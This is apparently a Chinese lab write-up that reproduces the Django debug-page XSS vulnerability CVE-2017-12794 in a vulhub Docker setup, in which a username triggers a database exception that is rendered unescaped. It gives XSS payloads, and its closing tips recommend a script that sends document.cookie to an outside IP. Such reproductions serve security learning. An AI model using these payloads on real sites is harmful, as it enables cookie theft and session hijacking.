Django debug page XSS漏洞(CVE-2017-12794)
1.漏洞影响版本
Django1.11.4
2.漏洞危害
XSS跨站脚本攻击
3.漏洞POC
豆瓣源修改Dockerfile为中pip源为豆瓣源
在pip后加上:-i http://pypi.douban.com/simple --trusted-host pypi.douban.com
cd /root/vulhub/django/CVE-2017-12794 //进入本次复现的漏洞目录
docker-compose build
docker-compose up -d //docker-compose搭建环境
部署成功
创建成功访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>创建一个用户,成功
触发XSS跨站脚本攻击再次访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>,触发异常:
可见,Postgres抛出的异常为:
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(1)</script>) already exists.
这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。
4.复盘
漏洞出现原因
触发了数据库的Unique异常.
总结
1.cat -v filename查看隐藏字符
2.dos2unix filename删除windows文件产生的^M
3.本次实验环境,XSS内容限制长度32位。但推荐一个XSS特殊利用方法:
<script>var img=document.createElement("img");img.src="http://192.168.11.1:1234/a?"+escape(document.cookie);</script>
网友评论